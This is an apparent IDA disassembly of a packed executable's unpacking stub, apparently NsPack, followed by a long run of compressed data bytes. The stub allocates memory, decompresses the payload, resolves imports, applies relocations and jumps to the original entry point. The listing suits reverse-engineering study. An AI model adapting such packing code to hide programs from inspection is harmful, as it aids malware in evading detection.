		sub	ebp, 7
		lea	ecx, [ebp-1B1h]
		cmp	byte ptr [ecx],	1
		jz	loc_500489
		mov	byte ptr [ecx],	1
		mov	eax, ebp
		sub	eax, [ebp-21Dh]
		mov	[ebp-21Dh], eax
		add	[ebp-1EDh], eax
		lea	esi, [ebp-1A9h]
		add	[esi], eax
		push	ebp
		push	esi
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp-185h]
		test	eax, eax
		jz	loc_5005ED
		mov	[ebp-1F5h], eax
		call	$+5
		pop	ebx
		mov	ecx, 367h
		add	ebx, ecx
		push	eax
		push	ebx
		call	sub_50054E
		pop	esi
		pop	ebp
		mov	esi, [esi]
		mov	edi, ebp
		add	edi, [ebp-22Dh]
		mov	ebx, edi
		cmp	dword ptr [edi], 0
		jnz	short loc_5002BB
		add	edi, 4
		mov	ecx, 0
		jmp	short loc_5002D1
; ---------------------------------------------------------------------------


loc_5002BB:				; CODE XREF: start+82j
		mov	ecx, 1
		add	edi, [ebx]
		add	ebx, 4


loc_5002C5:				; CODE XREF: start+CFj
		cmp	dword ptr [ebx], 0
		jz	short loc_5002FE
		add	[ebx], edx
		mov	esi, [ebx]
		add	edi, [ebx+4]


loc_5002D1:				; CODE XREF: start+8Cj
		push	edi
		push	ecx
		push	ebx
		push	dword ptr [ebp-181h]
		push	dword ptr [ebp-185h]
		mov	edx, esi
		mov	ecx, edi
		mov	eax, [ebp-1F5h]
		add	eax, 5AAh
		call	eax
		pop	ebx
		pop	ecx
		pop	edi
		cmp	ecx, 0
		jz	short loc_5002FE
		add	ebx, 8
		jmp	short loc_5002C5
; ---------------------------------------------------------------------------


loc_5002FE:				; CODE XREF: start+9Bj	start+CAj
		push	8000h
		push	0
		push	dword ptr [ebp-1F5h]
		call	dword ptr [ebp-181h]
		lea	esi, [ebp-1EDh]
		mov	ecx, [esi+8]
		lea	edx, [esi+10h]
		mov	esi, [esi]
		mov	edi, esi
		cmp	ecx, 0
		jz	short loc_500365


loc_500326:				; CODE XREF: start+100j start+10Ej
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_50032B:				; CODE XREF: start+136j
		cmp	al, 1
		ja	short loc_500326
		mov	eax, [edi]
		cmp	byte ptr [edx+1], 0
		jz	short loc_50034B
		mov	bl, [edx]
		cmp	[edi], bl
		jnz	short loc_500326
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		jmp	short loc_500355
; ---------------------------------------------------------------------------


loc_50034B:				; CODE XREF: start+108j
		mov	bl, [edi+4]
		xchg	al, ah
		rol	eax, 10h
		xchg	al, ah


loc_500355:				; CODE XREF: start+11Cj
		sub	eax, edi
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		sub	bl, 0E8h
		mov	eax, ebx
		loop	loc_50032B


loc_500365:				; CODE XREF: start+F7j
		call	sub_5004A4
		lea	ecx, [ebp-1D9h]
		mov	eax, [ecx+8]
		cmp	eax, 0
		jz	loc_5003FD
		mov	esi, edx
		sub	esi, [ecx+10h]
		jz	short loc_5003FD
		mov	[ecx+10h], esi
		lea	esi, [ebp-1A9h]
		mov	esi, [esi]
		lea	ebx, [esi-4]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_5003A2
		mov	edi, edx
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]
		jmp	short loc_5003AA
; ---------------------------------------------------------------------------


loc_5003A2:				; CODE XREF: start+169j
		mov	edi, esi
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]


loc_5003AA:				; CODE XREF: start+173j start+18Ej
		xor	eax, eax
		mov	al, [edi]
		inc	edi
		or	eax, eax
		jz	short loc_5003D3
		cmp	al, 0EFh
		ja	short loc_5003BD


loc_5003B7:				; CODE XREF: start+19Dj start+1A4j
		add	ebx, eax
		add	[ebx], ecx
		jmp	short loc_5003AA
; ---------------------------------------------------------------------------


loc_5003BD:				; CODE XREF: start+188j
		and	al, 0Fh
		shl	eax, 10h
		mov	ax, [edi]
		add	edi, 2
		or	eax, eax
		jnz	short loc_5003B7
		mov	eax, [edi]
		add	edi, 4
		jmp	short loc_5003B7
; ---------------------------------------------------------------------------


loc_5003D3:				; CODE XREF: start+184j
		xor	ebx, ebx
		xchg	edi, esi
		mov	eax, [esi]
		cmp	eax, 0
		jz	short loc_5003FD


loc_5003DE:				; CODE XREF: start+1BCj
		lodsd
		or	eax, eax
		jz	short loc_5003EB
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_5003DE
; ---------------------------------------------------------------------------


loc_5003EB:				; CODE XREF: start+1B4j
		xor	ebx, ebx
		shr	ecx, 10h


loc_5003F0:				; CODE XREF: start+1CEj
		lodsd
		or	eax, eax
		jz	short loc_5003FD
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_5003F0
; ---------------------------------------------------------------------------


loc_5003FD:				; CODE XREF: start+149j start+154j ...
		lea	esi, [ebp-21Dh]
		mov	edx, [esi]
		lea	esi, [ebp-1C1h]
		mov	al, [esi]
		cmp	al, 1
		jnz	short loc_500450
		add	edx, [esi+4]
		push	esi
		push	edx
		push	esi
		push	4
		push	100h
		push	edx
		call	dword ptr [ebp-189h]
		pop	edi
		pop	esi
		cmp	eax, 1
		jnz	loc_5005ED
		add	esi, 8
		mov	ecx, 8
		rep movsb
		sub	esi, 0Ch
		sub	edi, 8
		push	esi
		push	dword ptr [esi-4]
		push	100h
		push	edi
		call	dword ptr [ebp-189h]


loc_500450:				; CODE XREF: start+1E2j
		push	ebp
		pop	ebx
		sub	ebx, 8
		xor	ecx, ecx
		mov	cl, [ebx]
		cmp	cl, 0
		jz	short loc_500489
		inc	ebx
		lea	esi, [ebp-21Dh]
		mov	edx, [esi]


loc_50046A:				; CODE XREF: start+25Aj
		push	esi
		push	ecx
		push	ebx
		push	edx
		push	esi
		push	dword ptr [ebx]
		push	dword ptr [ebx+4]
		mov	eax, [ebx+8]
		add	eax, edx
		push	eax
		call	dword ptr [ebp-189h]
		pop	edx
		pop	ebx
		pop	ecx
		pop	esi
		add	ebx, 0Ch
		loop	loc_50046A


loc_500489:				; CODE XREF: start+14j	start+232j
		mov	eax, 0
		cmp	eax, 0
		jz	short loc_50049D
		popa
		popf
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_50049D:				; CODE XREF: start+264j
		popa
		popf
		jmp	sub_401000
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_5004A4	proc near		; CODE XREF: start:loc_500365p
		mov	esi, [ebp-225h]
		or	esi, esi
		jz	loc_500549
		mov	edx, [ebp-21Dh]
		add	esi, edx


loc_5004BA:				; CODE XREF: sub_5004A4+61j
		cmp	dword ptr [esi], 0
		jnz	short loc_5004CD
		cmp	dword ptr [esi+4], 0
		jnz	short loc_5004CD
		cmp	dword ptr [esi+8], 0
		jnz	short loc_5004CD
		jmp	short loc_500547
; ---------------------------------------------------------------------------


loc_5004CD:				; CODE XREF: sub_5004A4+19j
					; sub_5004A4+1Fj ...
		mov	ebx, [esi+8]
		add	ebx, edx
		push	ebx
		push	edx
		push	esi
		lea	edi, [ebp-0DDh]
		add	edi, [esi+4]
		add	esi, 0Ch
		push	edi
		call	dword ptr [ebp-191h]
		pop	edi
		pop	edx
		pop	ebx
		cmp	eax, 0
		jz	short loc_500549
		mov	[ebp-215h], eax
		add	edi, [esi]
		add	esi, 4


loc_5004FB:				; CODE XREF: sub_5004A4+A1j
		xor	ecx, ecx
		mov	cl, [esi]
		cmp	ecx, 0
		jnz	short loc_500507
		inc	esi
		jmp	short loc_5004BA
; ---------------------------------------------------------------------------


loc_500507:				; CODE XREF: sub_5004A4+5Ej
		mov	eax, edi
		add	edi, ecx
		push	edx
		push	ebx
		push	eax
		cmp	byte ptr [eax],	0FFh
		jnz	short loc_50051B
		inc	eax
		mov	eax, [eax]
		and	eax, 7FFFFFFFh


loc_50051B:				; CODE XREF: sub_5004A4+6Dj
		mov	cl, [edi]
		mov	byte ptr [edi],	0
		push	ecx
		push	eax
		push	dword ptr [ebp-215h]
		call	dword ptr [ebp-18Dh]
		pop	ecx
		pop	edx
		pop	ebx
		pop	edx
		cmp	eax, 0
		jz	short loc_500549
		mov	[edi], cl
		mov	[esi-4], eax
		push	dword ptr [esi-4]
		pop	dword ptr [ebx]
		add	ebx, 4
		inc	esi
		jmp	short loc_5004FB
; ---------------------------------------------------------------------------


loc_500547:				; CODE XREF: sub_5004A4+27j
		clc
		retn
; ---------------------------------------------------------------------------


loc_500549:				; CODE XREF: sub_5004A4+8j
					; sub_5004A4+4Aj ...
		jmp	loc_5005ED
sub_5004A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_50054E	proc near		; CODE XREF: start+6Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 005005E9 SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		cld
		mov	dl, 80h


loc_50055A:				; CODE XREF: sub_50054E+12j
		movsb


loc_50055B:				; CODE XREF: sub_50054E+34j
					; sub_50054E+7Dj
		call	sub_5005CD
		jnb	short loc_50055A
		xor	ecx, ecx
		call	sub_5005CD
		jnb	short loc_500584
		xor	eax, eax
		call	sub_5005CD
		jnb	short loc_500595
		mov	al, 10h


loc_500576:				; CODE XREF: sub_50054E+2Fj
		call	sub_5005CD
		adc	al, al
		jnb	short loc_500576
		jnz	short loc_5005C2
		stosb
		jmp	short loc_50055B
; ---------------------------------------------------------------------------


loc_500584:				; CODE XREF: sub_50054E+1Bj
		call	sub_5005D9
		dec	ecx
		loop	loc_5005A1
		mov	eax, ebp
		call	sub_5005D7
		jmp	short loc_5005C3
; ---------------------------------------------------------------------------


loc_500595:				; CODE XREF: sub_50054E+24j
		lodsb
		shr	eax, 1
		jz	short loc_5005E9
		adc	ecx, 2
		mov	ebp, eax
		jmp	short loc_5005C3
; ---------------------------------------------------------------------------


loc_5005A1:				; CODE XREF: sub_50054E+3Cj
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		mov	ebp, eax
		call	sub_5005D7
		cmp	eax, 7D00h
		jnb	short loc_5005C1
		cmp	eax, 500h
		jnb	short loc_5005C2
		cmp	eax, 7Fh
		ja	short loc_5005C3


loc_5005C1:				; CODE XREF: sub_50054E+65j
		inc	ecx


loc_5005C2:				; CODE XREF: sub_50054E+31j
					; sub_50054E+6Cj
		inc	ecx


loc_5005C3:				; CODE XREF: sub_50054E+45j
					; sub_50054E+51j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_50055B
sub_50054E	endp


; =============== S U B	R O U T	I N E =======================================



sub_5005CD	proc near		; CODE XREF: sub_50054E:loc_50055Bp
					; sub_50054E+16p ...
		add	dl, dl
		jnz	short locret_5005D6
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_5005D6:				; CODE XREF: sub_5005CD+2j
		retn
sub_5005CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_5005D7	proc near		; CODE XREF: sub_50054E+40p
					; sub_50054E+5Bp
		xor	ecx, ecx
sub_5005D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5005D9	proc near		; CODE XREF: sub_50054E:loc_500584p
		inc	ecx


loc_5005DA:				; CODE XREF: sub_5005D9+Dj
		call	sub_5005CD
		adc	ecx, ecx
		call	sub_5005CD
		jb	short loc_5005DA
		retn
sub_5005D9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_50054E


loc_5005E9:				; CODE XREF: sub_50054E+4Aj
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_50054E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_5005ED:				; CODE XREF: start+51j	start+1FDj ...
		push	0
		call	dword ptr [ebp-17Dh]
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
		mov	edx, [ecx]
		cmp	edx, [ecx+4]
		jnz	short loc_500609
		mov	dword ptr [ecx+eax*2], 2300110h
		or	al, 0FFh
		retn
; ---------------------------------------------------------------------------


loc_500609:				; CODE XREF: .nsp1:005005FDj
		pop	es
		mov	al, [edx]
		inc	edx
		mov	[ecx], edx
		pusha
		mov	eax, [esp+4]
		sbb	al, 83h
		popa
		adc	[ebx], dh
		or	[ebx+eax*4], cl
		push	esi
		push	ds
		and	[ebx], al
		rol	byte ptr [ecx+49h], 1
		or	bh, bh
		push	5
		jmp	short loc_500638
; ---------------------------------------------------------------------------
		db 58h,	5Eh, 0E8h
		dd 8B0239C9h, 0F0CE4h, 0E2C1C0B6h
; ---------------------------------------------------------------------------


loc_500638:				; CODE XREF: .nsp1:00500627j
		or	[ebx], cl
		retn	3E4Eh
; ---------------------------------------------------------------------------
		db 89h,	41h, 0Fh
		dd 0E5EEA75h, 56530004h, 708718Bh, 0D285DB33h, 0C798057h
		dd 55762C7Eh, 0EED1EA1Ch, 0FE3BE380h, 0E82B0572h, 1CB1D83h
		dd 60C57781h, 0E6C11073h, 85E8081Ah, 0E7418489h, 754DF800h
		dd 89675DD8h, 7A4C5F62h, 0C38B1C5Eh, 0F28CB35Bh, 57614F97h
		dd 0DC39B70Fh, 0E83CC1C2h, 0C7AF1E0Bh, 3B0C7E00h, 314073F8h
		dd 0C0BC4689h, 8E01F566h, 1EBFD034h, 0FA2B98F0h, 5FF00C1h
		dd 8966F803h, 7E7F8139h, 8B195CA8h, 2AE8CE14h, 644E889Fh
		dd 0BA381DE1h, 72DFF166h, 42EB0EE0h, 0F84FD02Bh, 0D789566Dh
		dd 0C8FA06Fh, 0E6D00AD2h, 9EEA50C1h, 0A386DFC2h, 1FFEE742h
		dd 5E5F4002h, 0ECD681C3h, 16BB5351h, 8594DA3Eh,	0F901E8DBh
		dd 5D891A7Eh, 55B240FCh, 34708D08h, 3E180CE6h, 3FD3FE8h
		dd 0C4DE6C6h, 5EEB75FCh, 8B0242C2h, 5FE2D3CBh, 95C9045Bh
		dd 763A191Fh, 9CF8DD89h, 0FFC35730h, 0C97D3942h, 0A8FBD98Bh
		dd 65207EFCh, 3127856h,	0E81E0C42h, 0CFBD2385h,	0D30614D0h
		dd 4509E003h, 123B47FCh, 1BE27C48h, 88241415h, 0F26D61C9h
		dd 0ECDAE899h, 0E46E4940h, 0CF54E8D3h, 0C6380BABh, 14BE493Dh
		dd 2B9FEA7Ch, 5035A05Bh, 0FCD29C19h, 0C4435294h, 0B808751Bh
		dd 0D865D0D1h, 70EEEC1h, 0CF01468Dh, 0C30326E0h, 0E8471B76h
		dd 0DBD07396h, 3B02D80Bh, 811C75F0h, 0D340A1FBh, 57B21AEBh
		dd 0E8221BB6h, 8B59A276h, 0E61C99D8h, 0C38AB88Ah, 0E566585h
		dd 0F147FA82h, 85417CE8h, 1675C013h, 570C2A46h,	6A0403ACh
		dd 304C8D03h, 0DCE85AB0h, 3BEB31C7h, 8B024EC0h,	0A832F8D7h
		dd 65755724h, 22104B1Bh, 9F0D8C24h, 1B54E91h, 0EB08C083h
		dd 0F8406A11h, 0A102048Eh, 100CA213h, 2C67D2D2h, 0F9384ABEh
		dd 544E0813h, 0C4D41F1h, 3324C803h, 0F1B87047h,	3D1A52A4h
		dd 0EBDCC928h, 0C8F44DCCh, 0E528E806h, 0D6D210E6h, 414B661Ah
		dd 690F84Dh, 3F020ECh, 5E7D3E4h, 5A050736h, 4F4ADB32h
		dd 390CCE1Ch, 6055604Dh, 73DC2E10h, 20D6A08h, 0E1A0E958h
		dd 40769842h, 0F9D1C875h, 2FDCA8B7h, 0ABF3FE20h, 6661C913h
		dd 1875FF0Ah, 2140320h,	0E8C84D8Dh, 8EA3FCFAh, 0F80207Dh
		dd 5DD47086h, 2310128Ah, 0D8208619h, 60DE89C1h,	0A3668518h
		dd 42F4EA13h, 42061AAh,	73C29B46h, 6455624Eh, 1246FD44h
		dd 0DC827662h, 80474223h, 2A08B1A5h, 8020E74Dh,	0A3A590C3h
		dd 0A100C59Ch, 48DC203h, 1D059040h, 0E4FF8309h,	0E6C8806h
		dd 87067D0Fh, 0EB03F465h, 0A243D10h, 0EF9E05BAh, 0A65B903h
		dd 0F4A50D06h, 740830CEh, 39F62049h, 9AF8B02Bh,	3C048A1Ch
		dd 18AA8810h, 1D65A09Ah, 6C7783FEh, 0E470881h, 678AE76Ch
		dd 941C54D8h, 43F2836Ah, 807EAE08h, 0C2333401h,	6242E894h
		dd 0C33BC1A3h, 0C7AF1B50h, 3A2DB2E1h, 9EE82398h, 8EA62F51h
		dd 0A445752Fh, 95920F47h, 0C1D18A03h, 86E84605h, 2C75184Eh
		dd 350FEE39h, 14558B84h, 0FF1FF0B5h, 0C09D0707h, 8DF8912Bh
		dd 4309C144h, 0D339F4F9h, 3301338Ah, 884A31FFh,	0CE4AE912h
		dd 22B058A4h, 5751846h,	0EBEC48C3h, 0C82B2B27h,	2EE80A8Ah
		dd 0EBF0E118h, 0E476BA09h, 0B587E410h, 0B6EC1D38h, 0A8EDB419h
		dd 0DDA2E613h, 688E8481h, 9B32480Ah, 99C2D5AAh,	7E91EA62h
		dd 0FDE0DC48h, 110BD9E7h, 44C2ADE9h, 5BF06C89h,	0D1DBE41Ch
		dd 849D6D0Ch, 882C5912h, 29066488h, 1B0A1132h, 0D99750E8h
		dd 0B42404F8h, 7D034C7Ch, 94D85824h, 73DF251h, 93810624h
		dd 144B5360h, 21549E74h, 0E249647Ch, 91D6C7D1h,	0F94AFB23h
		dd 0CABA30CFh, 2ACC3E98h, 247D5D0Eh, 1DE45115h,	4E5EF02Bh
		dd 0E880055Eh, 15DD73Ah, 8321EB70h, 0FE1E7C2h, 3E18A4FBh
		dd 451C0049h, 0F16A50C8h, 0A44F691h, 0CEDBEB5Ah, 0B68590B4h
		dd 8ED36284h, 0C9064883h, 0A6303424h, 779E3C80h, 1C393F3Ah
		dd 9CD3C1A4h, 0C7034242h, 4040188Ah, 40094139h,	0A1D2854Ah
		dd 3B057EC2h, 497220D4h, 0E778F1ECh, 55820FE0h,	0D245B590h
		dd 6E83CC95h, 75D2851Ch, 0C37841EBh, 1263F0D1h,	8772102Eh
		dd 44800F8Ah, 0DBB82E1h, 24F4D161h, 7627201h, 4A96E944h
		dd 2C55E319h, 2E2E2D2Eh, 1472805Fh, 0C18AE432h,	0F62EB37Dh
		dd 8FAAC1F3h, 0D30C807Ch, 3CFA7548h, 0A612BA09h, 0FC1CF71Ch
		dd 0F516F781h, 82F11EC9h, 0C6BB0606h, 0CFE35061h, 9210E068h
		dd 1B9C268Dh, 525341A7h, 0CD9D71FFh, 0C8BD2077h, 8BA17A90h
		dd 51494D3h, 72206FB4h,	0B8578852h, 651DFC12h, 0F6332420h
		dd 46018CE4h, 6A81806Eh, 402E69C3h, 0C68B0202h,	1E5FC385h
		dd 153F8C4h, 80B9h, 5D000000h, 200000h,	37F2Ah,	0FF000h
		dd 42003400h, 0E0CB5E03h, 8FCFC130h, 7F2A8E3Dh,	79754435h
		dd 9FE88BACh, 90DC7B89h, 84CF2A7Ah, 11121200h, 96C0B839h
		dd 0CAE229C9h, 9029321Ah, 4A83C73Fh, 83DD4315h,	7EC6A430h
		dd 0FF3A0480h, 22855D94h, 1A08D34h, 6CE53DB4h, 98F96FE8h
		dd 0DABBA52Ah, 4EC685DAh, 35AF54A8h, 139F7F2Eh,	8732EC06h
		dd 6C4DB8Eh, 0FDEE093Ch, 416AAF82h, 0C2748543h,	78408E21h
		dd 4F1388DEh, 0B3E96985h, 0F3B6EC85h, 2038FAFEh, 72800288h
		dd 3CBCEB71h, 0EFD98890h, 5769000Eh, 754DBA53h,	3AE4183Ah
		dd 0C8890D6Ah, 7FB4A1C5h, 0D0BE927Ah, 9B0055E2h, 0F2891B5Ch
		dd 0BC2613A2h, 90EC06A1h, 98CF474Ch, 87B520CDh,	50101CBEh
		dd 5BF52351h, 746EBEFAh, 0B68B53D1h, 774F0614h,	0AAFAB9E8h
		dd 8BBB7874h, 6F0DEF33h, 0C7ECB987h, 0A9A268A2h, 0F5C4DB3Fh
		dd 5BE96FBh, 6DD00572h,	3A235534h, 0DBA75F9Dh, 0B2B9AA54h
		dd 3133E09Ch, 93B10462h, 1B0F5ADDh, 4A7EA907h, 198D6E3Dh
		dd 4BA76E03h, 0A4036F8Ch, 63B6D4E6h, 0E7F415AEh, 23F11036h
		dd 766F57E3h, 3487358Fh, 844EBB81h, 0EAB6B009h,	0EBF7EAE0h
		dd 8B8D1EC8h, 698944F8h, 8DAAFBF0h, 0FA43735Dh,	5EF4E52Eh
		dd 34E22079h, 49628BB9h, 91C89C23h, 0B662F57Bh,	810D188Fh
		dd 25D2A3C0h, 0BBA0D96Fh, 0C092CB3Eh, 7005EA79h, 54D79F94h
		dd 0BE3498C6h, 9D518011h, 2B91EC5h, 0C28DD4F5h,	4959A637h
		dd 645F043Dh, 0B95333CEh, 0FE46F7E0h, 70F1A0AFh, 13A7403h
		dd 0D8B5C622h, 0CF70BCEAh, 0C16FDF1Bh, 0F062D3F0h, 9CCA3598h
		dd 0DEAC23FFh, 0E6426178h, 4B98572Dh, 2C80BFCCh, 0B69CBE0Fh
		dd 4C2962C9h, 0F641CEF9h, 9B9B78B5h, 8339845Ch,	0A7AA4E46h
		dd 0C6105C36h, 2219A94Bh, 0EE1E471h, 9B027DF7h,	18EA1242h
		dd 457E8A4Bh, 7BC062C2h, 0ED99B11Ch, 36FD506h, 0CE961F44h
		dd 2E445778h, 41AFBC3Ah, 5F4D96A2h, 958D0481h, 4D33BB59h
		dd 806B2F96h, 0CF864C2Ch, 9FA5AAADh, 1E88E3F6h,	0DE0D612Eh
		dd 7A3DD26Bh, 0FCA464FAh, 6F004102h, 18DAF0F6h,	0C3410273h
		dd 4AD94274h, 0E0E06D07h, 3999C7D4h, 2E9A4A00h,	0D385028h
		dd 3361AF36h, 153DED04h, 6F5C3FF9h, 0DF832B44h,	5AF9A37Dh
		dd 3913EE0Ah, 0BCC1193Ah, 4CBF3EECh, 0F9352862h, 0CAE7CAA2h
		dd 0F214E0C0h, 0CA5C0515h, 0A5DAEC54h, 61924245h, 0C3B062FCh
		dd 2B49860h, 76463B82h,	0C8BC0B0Fh, 9DB58B6Dh, 9564D0BFh
		dd 0BA58628Eh, 0CFA6C3EEh, 32F04C85h, 644ED210h, 97CD0D56h
		dd 0FCECB214h, 0FCA85843h, 7768C1A1h, 0E03C3085h, 5C1838F3h
		dd 82B0893Ah, 17483E75h, 8863F988h, 25AEAE21h, 0FC800101h
		dd 7F703E77h, 6C7E9A09h, 0FB185634h, 8171CE2h, 9B3914B4h
		dd 903FC87Bh
		dd 8241D43Eh, 1FFC6BF6h, 75173B23h, 93FAC89Fh, 0B9D9192Ch
		dd 56F8644Fh, 0AA3AC6F1h, 656C7BE9h, 37A97249h,	2F5F45B4h
		dd 0C62636D8h, 686D1744h, 9D3754C6h, 0DB7517D0h, 7EE9DB18h
		dd 40B7C957h, 0B052FB4Dh, 1232546Eh, 4B827E16h,	0B2FABD20h
		dd 832212Dh, 3D08FB1Ch,	0D208CD6Dh, 0ADE22837h,	6EE205BDh
		dd 0F09C1AC2h, 54FF3D6Bh, 68C2B6CFh, 0FAE95F49h, 4B9218AEh
		dd 0EDDDB461h, 0B924C4F8h, 355B15E3h, 0D3FEDBD1h, 7CA7FEFEh
		dd 46135BD7h, 0E8E19425h, 0EAA6AFF0h, 24499F60h, 5AD511EBh
		dd 0B7D2270Bh, 72720D42h, 923D8E8Ah, 0A7226C9Ah, 4C184DD8h
		dd 298469AEh, 3032DD44h, 0CAFFCCABh, 1D4A5CFFh,	3B6D37DEh
		dd 18A1539Dh, 192B11A8h, 47503737h, 8209BC87h, 5352230Eh
		dd 0C968BFF0h, 3CCFA7FDh, 4B607595h, 3BCB5E89h,	0DCA99C53h
		dd 426961DFh, 5E11E2E3h, 4B43A541h, 47754B35h, 6D3E38A6h
		dd 7C0E7114h, 1CE0D351h, 335AF361h, 0C34F51F0h,	556AE2B9h
		dd 0F8817B68h, 5B0C91A3h, 2B9CB670h, 6A4E7FF1h,	259089ADh
		dd 7303872Eh, 0CA156506h, 3DDB5055h, 0B85DE2F0h, 819E722Eh
		dd 0C08E8261h, 0FB88EF5Ch, 7DF6C9B8h, 9494C7E4h, 0D3035447h
		dd 4B097DE4h, 0F4BFEA44h, 51AF1B1Eh, 0C5611D29h, 4CB8C94Eh
		dd 0ED421082h, 2C0B5A9Bh, 0D0779E0Fh, 0BD5667E3h, 25614646h
		dd 0B618C49Ah, 0BCB71613h, 33574835h, 895951D1h, 0C053A988h
		dd 641BB760h, 41695F5Ah, 30CE48h, 17310EDFh, 0C6BA343Fh
		dd 0F4501955h, 14D19807h, 0B09FB4Fh, 3DC5F782h,	43F15AD9h
		dd 3CB78807h, 3B327B99h, 233606F9h, 7B30BFFh, 0BCC958B2h
		dd 0D7A5CDEDh, 0D207BFB4h, 69171D7Ch, 91DA6AA4h, 0E8F22904h
		dd 8FCA4F6Dh, 8913693Bh, 8CDCA909h, 0A51D787Bh,	3DDDA953h
		dd 0AF3E68BCh, 4464A771h, 82F2270Bh, 33604A4Eh,	25FF9890h
		dd 79ACF26Ah, 0E86AF9E8h, 0AE67BE18h, 5371E16Ah, 6C2CC459h
		dd 0BA25D91Dh, 9B648571h, 6E7C4A3Ah, 5B0BC66Eh,	0F1C94E3Fh
		dd 0CB85D9ABh, 3097C452h, 20147C3Fh, 6F761495h,	1F605CB9h
		dd 0C5350FB7h, 390F3478h, 373EB68Eh, 22CB93C0h,	0AE10EE58h
		dd 5A37061Fh, 0B4D037FEh, 9941B542h, 2D0ADCCEh,	0C795B7BDh
		dd 0E3934A00h, 0F075FF84h, 0C9F50F2Eh, 5BC8E7B6h, 1217417Eh
		dd 0AEB5529h, 29A3CCE8h, 0E51D82CDh, 0DCD80DC6h, 65EC44FBh
		dd 30FADDC5h, 0B7B7E140h, 75BCE483h, 0BF80BF71h, 0DFE241FCh
		dd 0CAF78010h, 0B3B72168h, 282421CFh, 0AE600937h, 0E5820595h
		dd 6495C6B0h, 9F02CE7Dh, 5DC01F8Eh, 1DB6E73Fh, 250C775Ch
		dd 76BCDDA5h, 85B09063h, 3776729Dh, 8C860A28h, 5BD1DAF9h
		dd 9218DDFAh, 1B02397Ch, 298EBBE4h, 0E233818Ch,	9CD4B196h
		dd 0FBD05451h, 2F78A600h, 0E1BB16DAh, 0F674224h, 0B437C3D2h
		dd 0B2008F25h, 0C0B80965h, 0FDEED377h, 7F27073Bh, 838CEDCFh
		dd 1CDB7242h, 671FA93Ch, 46187DE8h, 9D4F5965h, 0BBC382F0h
		dd 9C79DC7Ah, 84B5F5CFh, 0D482DDD6h, 0EBD32B14h, 0BE424857h
		dd 0DA81F894h, 47787D13h, 0A53146DFh, 2C982F0Ch, 0A14B9E74h
		dd 3231FA9Fh, 24A15D0Dh, 307C4570h, 0EEC7BE69h,	2B096DABh
		dd 79956A36h, 0C5A5B079h, 45248CD4h, 5EB07917h,	0C45DD29Dh
		dd 5F1B9A09h, 0AF774F7Ch, 833D52FBh, 0DA2E91E5h, 8040BBFFh
		dd 92EA6EF4h, 726F4AF1h, 536CB0F5h, 647577FEh, 33D6739Dh
		dd 92B4B7FAh, 0E57068EEh, 0CF1A22FCh, 0E3C4EDCBh, 140D89E1h
		dd 0B62AEC4Ch, 0FC1B2E84h, 0A37F397Eh, 0E99E9B0Eh, 3BDBDEF3h
		dd 36212CF2h, 899F7E87h, 4335BEB8h, 0A05D4B44h,	73D99FC0h
		dd 6AA06ECBh, 0EBAD5109h, 33786797h, 4EF8531Ch,	0B774B1BDh
		dd 80BFD377h, 0D82EAA44h, 0FC10D5F8h, 83DCE3D9h, 0EC4BBDF4h
		dd 0B37E21FEh, 6A0CB86Dh, 44FE586Fh, 813415E2h,	0C5D1C4BFh
		dd 0DB8729FAh, 0FD1E0CE7h, 0F2A78751h, 53321D5Bh, 0BB514AFBh
		dd 0A7BDBA80h, 81A72971h, 0A6F5BDA3h, 8E5766D9h, 3D4E1B00h
		dd 3ADCB487h, 0F1F813A3h, 63F04A5Fh, 0DAA1F1A2h, 409F07C1h
		dd 0C9B5660Ch, 5AB552CCh, 3C9825C5h, 9E3787Bh, 189AD4Bh
		dd 0BD414326h, 0C96AA26Fh, 0DFC4F802h, 95E70441h, 80CC7B87h
		dd 9306929h, 115AB756h,	658CC40Bh, 4DDF7848h, 8D903CC8h
		dd 0F7592BF3h, 313ED44Fh, 0DE15BAE8h, 3F207287h, 0D995BFA8h
		dd 164F01C5h, 67CEB7F3h, 0FB97838Fh, 0D8F9201Eh, 0FD8C2B69h
		dd 164A9AA7h, 6DB58FB9h, 7009AAA4h, 0CF334709h,	9C0FBC81h
		dd 845AC31Bh, 4019F8A0h, 2C7AC361h, 54E764Fh, 20B1B88Ah
		dd 56509480h, 0C3F9C7C2h, 0B9D49C82h, 0C76BCDC4h, 8494EF09h
		dd 0BB4A8FC8h, 57ADBEFDh, 0FF3743D8h, 0EFAD59FCh, 87E3E935h
		dd 267D251Ch, 0DC39B215h, 0EC2637BCh, 0D25FA4Ah, 0DBEC66B5h
		dd 0D884FA09h, 0C201F83Fh, 6790325Fh, 0EDD14A35h, 0B2CC0F03h
		dd 0FE4616B7h, 49BA51CDh, 9755A50Eh, 0C335DE5Ah, 0E06BCC43h
		dd 7BFACC3Eh, 4CDA12EBh, 0AE09D11Ch, 1E70ED26h,	862D18A5h
		dd 6123EB8Eh, 0A5D557CAh, 38A9308Dh, 692C8D66h,	9A5CFCBCh
		dd 748B6793h, 643B10BEh, 22129DB8h, 0ACDA4694h,	7EB80C98h
